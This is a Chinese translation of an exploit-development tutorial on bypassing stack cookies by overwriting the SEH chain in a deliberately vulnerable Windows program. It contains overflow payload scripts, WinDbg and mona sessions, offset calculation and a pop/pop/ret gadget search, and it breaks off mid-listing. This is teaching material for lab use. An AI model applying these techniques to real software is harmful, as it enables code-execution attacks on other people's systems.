<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/10382

            from:http://expdev-kiuhnm.rhcloud.com/2015/05/26/exploitme2-stack-cookies-seh-2/

            0x00 Exploitme2 (Stack cookies & SEH)


            閱讀完前面的文章(鏈接:http://drops.wooyun.org/tips/9948),我們來到這里。

            我們將使用曾經使用過的代碼:

            #!c
            #include <cstdio>
            ?
            int main() {
            ????char name[32];
            ????printf("Enter your name and press ENTER\n");
            ????scanf("%s", name);
            ????printf("Hi, %s!\n", name);
            ????return 0;
            }
            

            在VS 2013中,我們將通過?Project→properties關閉DEP保護機制,并在Release下修改配置:

            確保我們配置為

            如果你仍然有著用于exploitme1.exe的文件c:/name.dat,并試圖運行exploitme2.exe,那么程序將會崩潰并且沒法彈出計算器。為什么?

            我們來看對應的匯編代碼:

            int main() {
            00101000 55                   push        ebp  
            00101001 8B EC                mov         ebp,esp  
            00101003 83 EC 24             sub         esp,24h  
            00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
            0010100B 33 C5                xor         eax,ebp  
            0010100D 89 45 FC             mov         dword ptr [ebp-4],eax  
                char name[32];
                printf("Enter your name and press ENTER\n");
            00101010 68 00 21 10 00       push        102100h  
            00101015 FF 15 90 20 10 00    call        dword ptr ds:[102090h]  
                scanf("%s", name);
            0010101B 8D 45 DC             lea         eax,[name]  
            0010101E 50                   push        eax  
            0010101F 68 24 21 10 00       push        102124h  
            00101024 FF 15 94 20 10 00    call        dword ptr ds:[102094h]  
                printf("Hi, %s!\n", name);
            0010102A 8D 45 DC             lea         eax,[name]  
            0010102D 50                   push        eax  
            0010102E 68 28 21 10 00       push        102128h  
            00101033 FF 15 90 20 10 00    call        dword ptr ds:[102090h]  
                return 0;
            }
            00101039 8B 4D FC             mov         ecx,dword ptr [ebp-4]  
            0010103C 83 C4 14             add         esp,14h  
            0010103F 33 CD                xor         ecx,ebp  
            00101041 33 C0                xor         eax,eax  
            00101043 E8 04 00 00 00       call        __security_check_cookie (010104Ch)  
            00101048 8B E5                mov         esp,ebp  
            0010104A 5D                   pop         ebp  
            0010104B C3                   ret                   
            

            這是之前的代碼(作對比):

            int main() {
            01391000 55                   push        ebp  
            01391001 8B EC                mov         ebp,esp  
            01391003 83 EC 20             sub         esp,20h  
                char name[32];
                printf("Enter your name and press ENTER\n");
            01391006 68 00 21 39 01       push        1392100h  
            0139100B FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
                scanf("%s", name);
            01391011 8D 45 E0             lea         eax,[name]  
            01391014 50                   push        eax  
            01391015 68 24 21 39 01       push        1392124h  
            0139101A FF 15 94 20 39 01    call        dword ptr ds:[1392094h]  
                printf("Hi, %s!\n", name);
            01391020 8D 45 E0             lea         eax,[name]  
            01391023 50                   push        eax  
            01391024 68 28 21 39 01       push        1392128h  
            01391029 FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
            0139102F 83 C4 14             add         esp,14h  
                return 0;
            01391032 33 C0                xor         eax,eax  
            }
            01391034 8B E5                mov         esp,ebp  
            01391036 5D                   pop         ebp  
            01391037 C3                   ret    
            

            讓我們忽略不感興趣的部分.

            之前的代碼為:

            int main() {
            01391000 55                   push        ebp  
            01391001 8B EC                mov         ebp,esp  
            01391003 83 EC 20             sub         esp,20h  
            .
            .
            .
            01391034 8B E5                mov         esp,ebp  
            01391036 5D                   pop         ebp  
            01391037 C3                   ret
            

            現在的代碼為:

            int main() {
            00101000 55                   push        ebp  
            00101001 8B EC                mov         ebp,esp  
            00101003 83 EC 24             sub         esp,24h  
            00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
            0010100B 33 C5                xor         eax,ebp  
            0010100D 89 45 FC             mov         dword ptr [ebp-4],eax  
            .
            .
            .
            00101039 8B 4D FC             mov         ecx,dword ptr [ebp-4]  
            0010103C 83 C4 14             add         esp,14h  
            0010103F 33 CD                xor         ecx,ebp  
            00101041 33 C0                xor         eax,eax  
            00101043 E8 04 00 00 00       call        __security_check_cookie (010104Ch)  
            00101048 8B E5                mov         esp,ebp  
            0010104A 5D                   pop         ebp  
            0010104B C3                   ret    
            

            現在,在代碼的prolog部分之后,棧應該會是這樣的;

              esp --> name[0..3]
                      name[4..7]
                      .
                      .
                      .
                      name[28..31]
            ebp-4 --> cookie
              ebp --> saved ebp
                      ret eip
                      .
                      .
                      .    
            

            如上做法為:在prolog部分設定cookie,在epilog部分檢查cookie是否被改變。如果cookie被改變,那么在ret指令被執行之前,epilog部分會崩掉程序。注意cookie的位置:如果我們溢出name,那么我們可同時覆寫cookie和ret eip。因此,在我們可以控制執行流之前,執行Epilog部分會崩掉程序。

            我們看看prolog部分:

            00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
            0010100B 33 C5                xor         eax,ebp  
            0010100D 89 45 FC             mov         dword ptr [ebp-4],eax 
            

            在cookie被存儲于[ebp-4]之前,它首先從ds:[00103000h]被讀取,接著與EBP進行異或操作。這樣,cookie就取決于EBP了,這意味著已嵌套的調用會有不同的cookie。當然,在初始化期間,cookie在ds:[00103000]中是隨機的并且在運行時會被計算出來。 現在我們理解了該問題,我們可以回到代碼的fread部分,該部分更易于(在某種程度上)進行利用:

            #!c
            #include <cstdio>
            ?
            int main() {
            ????char name[32];
            ????printf("Reading name from file...\n");
            ?
            ????FILE *f = fopen("c:\\name.dat", "rb");
            ????if (!f)
            ????????return -1;
            ????fseek(f, 0L, SEEK_END);
            ????long bytes = ftell(f);
            ????fseek(f, 0L, SEEK_SET);
            ????fread(name, 1, bytes, f);
            ????name[bytes] = '\0';
            ????fclose(f);
            ?
            ????printf("Hi, %s!\n", name);
            ????return 0;
            }
            

            因為我們無法通過ret eip控制EIP,所以我們將試圖通過覆寫它來修改SEH鏈。對于我們來說,幸運的是,該鏈在棧上。如果你不記得SEH鏈的特性,那么請看看結構化異常處理(相關文章鏈接:http://drops.wooyun.org/tips/6814)的文章吧。

            使用WinDbg打開exploitme2.exe,用如下命令在main上下斷點:

            bp exploitme2!main
            

            接著通過按下F5(go)來讓程序運行。

            當執行停止時(你也應該看看源代碼),在棧和SEH鏈上了解下:

            0:000> dd esp
            0038fb20  011814d9 00000001 00625088 00615710
            0038fb30  bd0c3ff1 00000000 00000000 7efde000
            0038fb40  00000000 0038fb30 00000001 0038fb98
            0038fb50  01181969 bc2ce695 00000000 0038fb68
            0038fb60  75dd338a 7efde000 0038fba8 77c09f72
            0038fb70  7efde000 77ebad68 00000000 00000000
            0038fb80  7efde000 00000000 00000000 00000000
            0038fb90  0038fb74 00000000 ffffffff 77c471f5
            0:000> !exchain
            0038fb4c: exploitme2!_except_handler4+0 (01181969)
              CRT scope  0, filter: exploitme2!__tmainCRTStartup+115 (011814f1)
                            func:   exploitme2!__tmainCRTStartup+129 (01181505)
            0038fb98: ntdll!WinSqmSetIfMaxDWORD+31 (77c471f5)   
            

            記住SEH節點是8字節長的,并且會有用該形式展示:

            <ptr to next SEH node in list>
            <ptr to handler>   
            

            我們可以看到第一個節點在地址0x38fb4c上(即esp+0x2c)并且存在

            0038fb98         <-- next SEH node
            01181969         <-- handler (exploitme2!_except_handler4)
            

            下一個以及最后一個SEH節點在地址0x38fb98上(即esp+0x78)并且存在

            ffffffff         <-- next SEH node (none - this is the last node)
            77c471f5         <-- handler (ntdll!WinSqmSetIfMaxDWORD+31)
            

            在調用thefread()函數之前,將100個’a’字符放入c:/name.dat并步過代碼(F10)。我們再次檢測SEH鏈:

            0:000> !exchain
            0038fb4c: 61616161
            Invalid exception stack at 61616161
            

            如我們可觀察到的,我們已經試著覆寫了SEH鏈了。現在讓程序運行(F5)。

            WinDbg將會打印出如下內容:

            STATUS_STACK_BUFFER_OVERRUN encountered
            (1610.1618): Break instruction exception - code 80000003 (first chance)
            *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
            eax=00000000 ebx=01182108 ecx=75e1047c edx=0038f4d1 esi=00000000 edi=6d5ee060
            eip=75e1025d esp=0038f718 ebp=0038f794 iopl=0         nv up ei pl zr na pe nc
            cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
            kernel32!GetProfileStringW+0x12cc1:
            75e1025d cc              int     3
            

            這可能意味著main()中的epilog部分已經檢測到cookie被修改了,并且阻止了我們的進一步操作,但是,實際上,fread調用之后,該安全違例是由于一些與分配操作相關的邊界檢查導致的。

            #!c
            #include <cstdio>
            ?
            int main() {
            ????char name[32];
            ????printf("Reading name from file...\n");
            ?
            ????FILE *f = fopen("c:\\name.dat", "rb");
            ????if (!f)
            ????????return -1;
            ????fseek(f, 0L, SEEK_END);
            ????long bytes = ftell(f);
            ????fseek(f, 0L, SEEK_SET);
            ????fread(name, 1, bytes, f);
            ????name[bytes] = '\0';???? <-------------------------
            ????fclose(f);
            ?
            ????printf("Hi, %s!\n", name);
            ????return 0;
            }
            

            邊界檢查:

            ??? name[bytes] = '\0';
            008B107A 83 FE 20???????????? cmp???????? esi,20h?????????? ; esi = bytes
            008B107D 73 30??????????????? jae???????? main+0AFh (08B10AFh) ?
            008B107F 57?????????????????? push??????? edi ?
            008B1080 C6 44 35 DC 00?????? mov???????? byte ptr name[esi],0 ?
            .
            .
            .
            008B10AF E8 48 01 00 00?????? call??????? __report_rangecheckfailure (08B11FCh)
            

            既然這樣,由于邊界檢查,epilog部分從來沒有被執行過,但是概念是相同的。我們覆寫SEH鏈,但是并沒有生成異常,因此,SEH鏈并沒有被使用過。在進行邊界檢查之前,我們需要生成異常。(否則main()的epilog部分會被執行)。

            讓我們進行一次實驗:我們來觀察發生異常是否會調用在SEH鏈上的handler。修改代碼如下:

            #!c
            #include <cstdio>
            ?
            int main() {
            ????char name[32];
            ????printf("Reading name from file...\n");
            ?
            ????FILE *f = fopen("c:\\name.dat", "rb");
            ????if (!f)
            ????????return -1;
            ????fseek(f, 0L, SEEK_END);
            ????long bytes = ftell(f);
            ????fseek(f, 0L, SEEK_SET);
            ????fread(name, 1, bytes, f);
            ????name[bytes] = bytes / 0; // '\0';????!!! divide by 0 !!!
            ????fclose(f);
            ?
            ????printf("Hi, %s!\n", name);
            ????return 0;
            }
            

            注意我們在fread函數前已經添加了除數為0的情況。這應該會生成異常并調用SEH鏈的第一個handler。

            編譯代碼,用WinDbg重新打開它。這會發生什么:

            (177c.12f4): Integer divide-by-zero - code c0000094 (first chance)
            First chance exceptions are reported before any exception handling.
            This exception may be expected and handled.
            *** WARNING: Unable to verify checksum for exploitme2.exe
            eax=00000064 ebx=6d5ee060 ecx=00000000 edx=00000000 esi=00000001 edi=00000064
            eip=012f107a esp=002cfbd4 ebp=002cfc2c iopl=0         nv up ei pl zr na pe nc
            cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
            exploitme2!main+0x7a:
            012f107a f7f9            idiv    eax,ecx
            

            正如我們可以觀察到的,在通過程序可以看到已生成的異常前,WinDbg就已經捕獲到異常了。再次按下F5(go)將異常傳給程序,這是我們觀察到的:

            (177c.12f4): Access violation - code c0000005 (first chance)
            First chance exceptions are reported before any exception handling.
            This exception may be expected and handled.
            eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
            eip=61616161 esp=002cf638 ebp=002cf658 iopl=0         nv up ei pl zr na pe nc
            cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
            61616161 ??              ???
            

            我們可以觀察到EIP=0x61616161.唯一可解釋的是handler在已修改的SEH鏈中被調用!

            現在在進行邊界檢查前,我們必須找到生成異常的方法(或者通過main()函數的epilog部分檢查cookie)。首先,我們將移除異常,同時稍微修改下我們的代碼:

            #!c
            #include <cstdio>
            ?
            int main() {
            ????char name[32];
            ????printf("Reading name from file...\n");
            ?
            ????FILE *f = fopen("c:\\name.dat", "rb");
            ????if (!f)
            ????????return -1;
            ????fseek(f, 0L, SEEK_END);
            ????long bytes = ftell(f);
            ????fseek(f, 0L, SEEK_SET);
            ????int pos = 0;
            ????while (pos < bytes) {
            ????????int len = bytes - pos > 200 ? 200 : bytes - pos;
            ????????fread(name + pos, 1, len, f);
            ????????pos += len;
            ????}
            ????name[bytes] = '\0';
            ????fclose(f);
            ?
            ????printf("Hi, %s!\n", name);
            ????return 0;
            }
            

            我們已經決定從200字節的塊中讀取文件,因為如果被請求讀取太多字節,那么調用fread()?可能會失敗。這樣,我們可以有一個具有較長字節的文件。

            棧是有限的,因此如果我們不斷對其進行寫入操作直到棧末端(最高地址),那么將會發生一次訪問違例。我們來運行Python的IDLE并試圖使用1000個”a”字符:

            #!python
            with open('c:\\name.dat', 'wb') as f:
            ????f.write('a'*1000)
            

            使用WinDbg運行exploitme2.exe。容易檢驗出1000個”a”字符是不夠的。我們來試試使用2000個”a”字符:

            #!python
            with open('c:\\name.dat', 'wb') as f:
            ????f.write('a'*2000)
            

            同樣沒有達到我們的目的。最后,使用10000個”a”字符,我們得到:

            (17d4.1244): Access violation - code c0000005 (first chance)
            First chance exceptions are reported before any exception handling.
            This exception may be expected and handled.
            *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -
            eax=00816808 ebx=000000c8 ecx=00000030 edx=000000c8 esi=008167d8 edi=003c0000
            eip=6d51f20c esp=003bfb68 ebp=003bfb88 iopl=0         nv up ei ng nz na pe cy
            cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010287
            MSVCR120!wcslen+0x19:
            6d51f20c f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
            

            在按下F5(go)之后,我們得到:

            (17d4.1244): Access violation - code c0000005 (first chance)
            First chance exceptions are reported before any exception handling.
            This exception may be expected and handled.
            eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
            eip=61616161 esp=003bf5cc ebp=003bf5ec iopl=0         nv up ei pl zr na pe nc
            cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
            61616161 ??              ???
            

            這是我們想要的:EIP=0x61616161。我們知道我們的”a”字符已經覆寫了SEH節點的handler地址,但確定是這4個”a”字符嗎?換句話說,我們應該把重定向執行流的地址放入到文件中的偏移是多少呢? 使用特定的模板而不是使用單一的”a”字符不失為一種簡單的方法。這個模板已設計好了,因此給出了模板的4個連續字節,我們可以立即告訴該模板的偏移這四個字節被定位了。 利用mona(相關文章鏈接:http://drops.wooyun.org/tips/6814)使用如下命令可以幫助我們:

            0:000> !py mona pattern_create 10000
            Hold on...
            [+] Command used:
            !py mona.py pattern_create 10000
            Creating cyclic pattern of 10000 bytes
            Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)
            [+] Preparing output file 'pattern.txt'
                - (Re)setting logfile pattern.txt
            Note: don't copy this pattern from the log window, it might be truncated !
            It's better to open pattern.txt and copy the pattern from the file    
            
            [+] This mona.py action took 0:00:00
            

            使用一段Python代碼,我們可以將模板寫到c:/name.dat

            #!python
            with open('c:\\name.dat', 'wb') as f:
            ????pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)'
            ????f.write(pattern)  
            

            注意,我已經截下了一段模板,因為它過長而沒有在這里展示出來。

            我們用WinDbg重啟exploitme2.exe,第二次按下F5,得到:

            (11e0.11e8): Access violation - code c0000005 (first chance)
            First chance exceptions are reported before any exception handling.
            This exception may be expected and handled.
            eax=00000000 ebx=00000000 ecx=64413963 edx=77c2b4ad esi=00000000 edi=00000000
            eip=64413963 esp=0042f310 ebp=0042f330 iopl=0         nv up ei pl zr na pe nc
            cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
            64413963 ??              ???
            

            我們可以觀察到?EIP = 0x64413963. 讓我們看看被定位的模板偏移。記住英特爾CPU是小端模式的,因此0x64413963 = “\x63\x39\x41\x64” = “c9Ad”。讓我們使用mona來判斷該偏移:

            0:000> !py mona pattern_offset 64413963
            Hold on...
            [+] Command used:
            !py mona.py pattern_offset 64413963
            Looking for c9Ad in pattern of 500000 bytes
             - Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
            Looking for c9Ad in pattern of 500000 bytes
            Looking for dA9c in pattern of 500000 bytes
             - Pattern dA9c not found in cyclic pattern (uppercase)  
            Looking for c9Ad in pattern of 500000 bytes
            Looking for dA9c in pattern of 500000 bytes
             - Pattern dA9c not found in cyclic pattern (lowercase)      
            
            [+] This mona.py action took 0:00:00.172000
            

            偏移是88。用如下Python腳本來檢驗那正確的偏移:

            #!python
            with open('c:\\name.dat', 'wb') as f:
            ????handler = 'bbbb'
            ????f.write('a'*88 + handler + 'c'*(10000-88-len(handler)))
            

            這次WinDbg輸出如下:

            (1b0c.1bf4): Access violation - code c0000005 (first chance)
            First chance exceptions are reported before any exception handling.
            This exception may be expected and handled.
            eax=00000000 ebx=00000000 ecx=62626262 edx=77c2b4ad esi=00000000 edi=00000000
            eip=62626262 esp=002af490 ebp=002af4b0 iopl=0         nv up ei pl zr na pe nc
            cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
            62626262 ??              ???
            

            因為0x62626262=”bbbb”.這確實是我們想要的。現在我們知道在文件中放入我們想要的地址在哪里了,我們需要判斷使用的是哪個地址。在WinDbg中點擊View→Memory? 并在”Virtual:[email protected]ESP=0x2af490,同時,[email protected]+6d4上。

            讓我們重啟exploitme2.exe來觀察6d4是否是一個常數。在Memory 窗口中的”Virtual:[email protected][email protected]?我們也可以觀察到ESP總是不同的,即使偏移6d4并不改變。

            因此,在4個”b”字符之后,我們可以將我們的shellcode放置在正確的位置,并且用如下一段代碼中的地址替換那些”b”字符:

            ADD?? ESP, 6d8
            JMP?? ESP
            

            注意我們已經使用了6d8,即6d4+4來跳過”b”字符并轉移到我們將放置在替代”c”字符的shellcode上。當然,ADD ESP, 6e0或類似的代碼也將會被執行。不幸的是,找到這類代碼并不容易,但這是一種更簡單的方法。

            重啟exploitme2.exe,第二次按下F5并觀察棧:

            0:000> dd esp
            002df45c  77c2b499 002df544 002dfb2c 002df594
            002df46c  002df518 002dfa84 77c2b4ad 002dfb2c
            002df47c  002df52c 77c2b46b 002df544 002dfb2c
            002df48c  002df594 002df518 62626262 00000000
            002df49c  002df544 002dfb2c 77c2b40e 002df544
            002df4ac  002dfb2c 002df594 002df518 62626262
            002df4bc  002e1000 002df544 00636948 00000000
            002df4cc  00000000 00000000 00000000 00000000
            

            在esp+8上的dword值看起來挺有趣的。 如果我們觀察那個地址我們可以了解到如下內容:

            0:000> db poi(esp+8)
            002dfb2c  61 61 61 61 62 62 62 62-63 63 63 63 63 63 63 63  aaaabbbbcccccccc
            002dfb3c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
            002dfb4c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
            002dfb5c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
            002dfb6c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
            002dfb7c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
            002dfb8c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
            002dfb9c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
            

            0x2dfb2c指向處理”b”字符的4個”a”字符。要記住的是”bbbb”覆寫SEH節點的”handler”域,因此,0x2dfb2c必須指向相同SEH節點的“下一個SEH 節點”域。我們來檢驗該過程:

            0:000> !exchain
            002df470: ntdll!ExecuteHandler2+3a (77c2b4ad)
            002dfa84: MSVCR120!_ValidateRead+439 (6d52a0d5)
            002dfb2c: 62626262
            Invalid exception stack at 61616161
            

            看起來似乎覆寫了第三個SEH節點:

            0:000> dt _EXCEPTION_REGISTRATION_RECORD 002dfb2c
            ntdll!_EXCEPTION_REGISTRATION_RECORD
               +0x000 Next             : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
               +0x004 Handler          : 0x62626262     _EXCEPTION_DISPOSITION  +62626262
            

            首先,確保esp+8總存在準確的重啟進程的地址,再試一次。在檢驗完之后,我們需要找到一些指令如:

            POP   reg32
            POP   reg32
            RET
            

            思路是:被執行時,放入某段代碼的地址來替代4個”b”字符,該代碼將會對ESP進行加8操作(2條pop指令),接著提取通過ESP指向的值然后轉移到那個地址。這確實是我們想要的,即,它將會轉移到我們的”b”字符前面4個”a”字符右端。為了跳過”b”字符并轉移到我們的shellcode上(我們的”c”字符),我們需要在”b”字符的前面放入一個jmp指令。

            JMP操作碼的簡寫是:

            EB XX
            

            XX的位置是一個被標記的字節。為了方便,我們添加一個標簽:

            here:
              EB XX
            

            那操作碼轉移到here+2+XX的位置。例如,

              EB 00
            there:
            

            轉移之后到了右邊,即,到了there部分。

            這是我們想要的:

            90是NOP指令的操作碼(no operation-不進行任何操作),但是因為那兩個字節將會被跳過,所以我們可以使用任意指令的操作碼。

            現在讓我們在kernel32.dll中找到?pop/pop/ret的地址:

            0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll
            Hold on...
            [+] Command used:
            !py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll    
            
            ---------- Mona command started on 2015-03-18 20:33:46 (v2.0, rev 554) ----------
            [+] Processing arguments and criteria
                - Pointer access level : X
                - Only querying modules kernel32.dll
            [+] Type of search: str
            [+] Searching for matches up to 8 instructions deep
            [+] Generating module info table, hang on...
                - Processing modules
                - Done. Let's rock 'n roll.
            [+] Started search (8 start patterns)
            [+] Searching startpattern between 0x75dc0000 and 0x75ed0000
            [+] Preparing output file 'findwild.txt'
                - (Re)setting logfile findwild.txt
            [+] Writing results to findwild.txt
                - Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1
                - Number of pointers of type 'pop esi # pop ebx # retn' : 2
                - Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4
                - Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14
                - Number of pointers of type 'pop edi # pop esi # retn' : 2
                - Number of pointers of type 'pop edi # pop ebp # retn 8' : 13
                - Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2
                - Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1
                - Number of pointers of type 'pop esi # pop ebp # retn' : 1
                - Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4
                - Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8
                - Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2
                - Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2
                - Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 49
                - Number of pointers of type 'pop eax # pop ebp # retn' : 2
                - Number of pointers of type 'pop eax # pop ebp # retn 4' : 3
                - Number of pointers of type 'pop esi # pop ebp # retn 20h' : 2
                - Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27
                - Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1
                - Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3
                - Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11
                - Number of pointers of type 'pop esi # pop ebp # retn 10h' : 15
                - Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10
                - Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11
                - Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6
                - Number of pointers of type 'pop eax # pop ebp # retn 8' : 5
                - Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11
                - Number of pointers of type 'pop esi # pop ebp # retn 4' : 70
                - Number of pointers of type 'pop esi # pop ebp # retn 8' : 62
                - Number of pointers of type 'pop edx # pop eax # retn' : 1
                - Number of pointers of type 'pop ebx # pop ebp # retn 8' : 26
                - Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 6
                - Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2
                - Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3
                - Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3
                - Number of pointers of type 'pop ebx # pop ebp # retn' : 4
                - Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2
                - Number of pointers of type 'pop edi # pop ebp # retn 4' : 5
            [+] Results :
            0x75dd4e18 |   0x75dd4e18 (b+0x00014e18)  : pop edi # pop ebp # retn 24h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75dfd75d |   0x75dfd75d (b+0x0003d75d)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75dfd916 |   0x75dfd916 (b+0x0003d916)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75dd4f7c |   0x75dd4f7c (b+0x00014f7c)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75ddf840 |   0x75ddf840 (b+0x0001f840)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75dfc1ca |   0x75dfc1ca (b+0x0003c1ca)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75e7a327 |   0x75e7a327 (b+0x000ba327)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75de1267 |   0x75de1267 (b+0x00021267)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75defda1 |   0x75defda1 (b+0x0002fda1)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75dfb33c |   0x75dfb33c (b+0x0003b33c)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75dfbf8a |   0x75dfbf8a (b+0x0003bf8a)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75dfda42 |   0x75dfda42 (b+0x0003da42)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75e45960 |   0x75e45960 (b+0x00085960)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75e47b36 |   0x75e47b36 (b+0x00087b36)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75e4a53f |   0x75e4a53f (b+0x0008a53f)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75e5e294 |   0x75e5e294 (b+0x0009e294)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75e65641 |   0x75e65641 (b+0x000a5641)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75e6a121 |   0x75e6a121 (b+0x000aa121)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
            0x75e77bf1 |   0x75e77bf1 (b+0x000b7bf1)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
